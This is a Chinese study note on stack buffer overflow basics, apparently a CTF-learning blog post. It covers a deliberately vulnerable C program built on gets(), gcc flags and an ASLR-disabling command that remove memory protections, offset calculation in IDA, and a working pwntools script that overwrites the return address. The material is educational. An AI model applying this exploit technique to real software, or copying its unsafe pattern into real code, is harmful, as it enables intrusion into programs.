栈溢出原理

查阅资料

查阅ctfwiki了解栈溢出原理,以此篇笔记记录学习心得。

介绍

栈溢出指的是程序向栈中某个变量中写入的字节数超过了这个变量本身所申请的字节数,因而导致与其相邻的栈中的变量的值被改变。这种问题是一种特定的缓冲区溢出漏洞,类似的还有堆溢出,bss 段溢出等溢出方式。栈溢出漏洞轻则可以使程序崩溃,重则可以使攻击者控制程序执行流程。此外,我们也不难发现,发生栈溢出的基本前提是

  • 程序必须向栈上写入数据。
  • 写入的数据大小没有被良好地控制。

基本示例

最典型的栈溢出利用是覆盖程序的返回地址为攻击者所控制的地址,当然需要确保这个地址所在的段具有可执行权限。下面,通过一个简单的例子实现栈溢出:

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <stdio.h>
#include <string.h>
void success() { puts("You Hava already controlled it."); }
void vulnerable() {
char s[12];
gets(s);
puts(s);
return;
}
int main(int argc, char **argv) {
vulnerable();
return 0;
}

这个程序的主要目的读取一个字符串,并将其输出。我们希望可以控制程序执行 success 函数。

gcc编译

通过以下命令对其进行编译:

1
gcc -m32 -fno-stack-protector stack_example.c -o stack_example

在gcc 编译指令中:

-m32 指的是生成 32 位程序;

-fno-stack-protector 指的是不开启堆栈溢出保护,即不生成 canary。

此外,为了更加方便地介绍栈溢出的基本利用方式,这里还需要关闭 PIE(Position Independent Executable),避免加载基址被打乱。不同 gcc 版本对于 PIE 的默认配置不同,我们可以使用命令gcc -v查看 gcc 默认的开关情况。如果含有--enable-default-pie参数则代表 PIE 默认已开启,需要在编译指令中添加参数-no-pie

执行该命令得到以下结果:

image-20211104215602760

发现其存在gets函数,并提出警告它有危险。所以可以看出 gets 本身是一个危险函数。它从不检查输入字符串的长度,而是以回车来判断输入是否结束,所以很容易可以导致栈溢出。

历史上,莫里斯蠕虫第一种蠕虫病毒就利用了 gets 这个危险函数实现了栈溢出。

编译成功后,可以使用 checksec 工具检查编译出的文件(可以看出该文件开启了哪些保护):

image-20211104220315961

得到如下结果:

1
2
3
4
5
Arch:     i386-32-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled

提到编译时的 PIE 保护,Linux 平台下还有地址空间分布随机化(ASLR)的机制。简单来说即使可执行文件开启了 PIE 保护,还需要系统开启 ASLR 才会真正打乱基址,否则程序运行时依旧会在加载一个固定的基址上(不过和 No PIE 时基址不同)。

我们可以通过修改 /proc/sys/kernel/randomize_va_space 来控制 ASLR 启动与否,具体的选项有:

  • 0,关闭 ASLR,没有随机化。栈、堆、.so 的基地址每次都相同。
  • 1,普通的 ASLR。栈基地址、mmap 基地址、.so 加载基地址都将被随机化,但是堆基地址没有随机化。
  • 2,增强的 ASLR,在 1 的基础上,增加了堆基地址随机化。

GCC编译中几种保护打开和关闭的参数:

  • NX:-z execstack / -z noexecstack (关闭 / 开启) 不让执行栈上的数据,于是JMP ESP就不能用了
  • Canary:-fno-stack-protector /-fstack-protector / -fstack-protector-all (关闭 / 开启 / 全开启) 栈里插入cookie信息
  • PIE:-no-pie / -pie (关闭 / 开启) 地址随机化,另外打开后会有get_pc_thunk
  • RELRO:-z norelro / -z lazy / -z now (关闭 / 部分开启 / 完全开启) 对GOT表具有写权限

为了降低后续漏洞利用复杂度,我们这里关闭 ASLR,在编译时关闭 PIE。当然读者也可以尝试 ASLR、PIE 开关的不同组合,配合 IDA 及其动态调试功能观察程序地址变化情况(在 ASLR 关闭、PIE 开启时也可以攻击成功)。

为了关闭PIE,重新生成可执行文件:

编译命令:gcc -m32 -fno-stack-protector stack_example.c -o stack_example -no-pie

image-20211104222647138

此时PIE保护已经关闭。

我们可以使用echo 0 > /proc/sys/kernel/randomize_va_space关闭 Linux 系统的 ASLR。类似的,也可以配置相应的参数。

IDA查看函数偏移以及地址

确认栈溢出和 PIE 保护关闭后,我们利用 IDA 来反编译一下二进制程序并查看 vulnerable 函数 。

可以看到:

image-20211104223030351

image-20211104223129940

该字符串距离 ebp 的长度为 0x14,那么相应的栈结构为

1
2
3
4
5
6
7
8
9
10
11
12
13
             +-----------------+
| retaddr |
+-----------------+
| saved ebp |
ebp--->+-----------------+
| |
| |
| |
| |
| |
| |
s,ebp-0x14-->+-----------------+

并且,我们可以通过 IDA 获得 success 的地址,其地址为 0x08048456

image-20211105124153262

那么如果我们读取的字符串为:

1
0x14*'a'+'bbbb'+success_addr

那么,由于 gets 会读到回车才算结束,所以我们可以直接读取所有的字符串,并且将 saved ebp 覆盖为 bbbb,将 retaddr 覆盖为 success_addr,即,此时的栈结构为:

1
2
3
4
5
6
7
8
9
10
11
12
13
             +-----------------+
| 0x08048456 |
+-----------------+
| bbbb |
ebp--->+-----------------+
| |
| |
| |
| |
| |
| |
s,ebp-0x14-->+-----------------+

但是需要注意的是,由于在计算机内存中,每个值都是按照字节存储的。一般情况下都是采用小端存储,即 0x08048456 在内存中的形式是:

1
\x56\x84\x04\x08

利用pwntools模块进行python payload

但是,我们又不能直接在终端将这些字符给输入进去,在终端输入的时候 \,x 等也算一个单独的字符。。所以我们需要想办法将 \x3b 作为一个字符输入进去。那么此时我们就需要使用一波 pwntools 了 (关于如何安装以及基本用法,请自行 github),这里利用 pwntoolspython 代码如下:

1
2
3
4
5
6
7
from pwn import *                # 构造与程序交互的对象
sh = process('./stack_example')
success_addr = 0x08048456 # 构造payload
payload = 'a' * 0x14 + 'bbbb' + p32(success_addr)
print p32(success_addr) # 向程序发送字符串
sh.sendline(payload) # 将代码交互转换为手工交互
sh.interactive()

image-20211105124444437

进行对该payload进行执行:

1
python stack.py

image-20211105124718579

发现成功执行success函数,实现栈溢出

总结

上面的示例其实也展示了栈溢出中比较重要的几个步骤。

寻找危险函数

通过寻找危险函数,我们快速确定程序是否可能有栈溢出,以及有的话,栈溢出的位置在哪里。常见的危险函数如下

  • 输入
    • gets,直接读取一行,忽略’\x00’
    • scanf
    • vscanf
  • 输出
  • sprintf
  • 字符串
  • strcpy,字符串复制,遇到’\x00’停止
  • strcat,字符串拼接,遇到’\x00’停止
  • bcopy

确定填充长度

这一部分主要是计算我们所要操作的地址与我们所要覆盖的地址的距离。常见的操作方法就是打开 IDA,根据其给定的地址计算偏移。一般变量会有以下几种索引模式

  • 相对于栈基地址的的索引,可以直接通过查看 EBP 相对偏移获得
  • 相对应栈顶指针的索引,一般需要进行调试,之后还是会转换到第一种类型。
  • 直接地址索引,就相当于直接给定了地址。

一般来说,我们会有如下的覆盖需求

  • 覆盖函数返回地址,这时候就是直接看 EBP 即可。
  • 覆盖栈上某个变量的内容,这时候就需要更加精细的计算了。
  • 覆盖 bss 段某个变量的内容
  • 根据现实执行情况,覆盖特定的变量或地址的内容。

之所以我们想要覆盖某个地址,是因为我们想通过覆盖地址的方法来直接或者间接地控制程序执行流程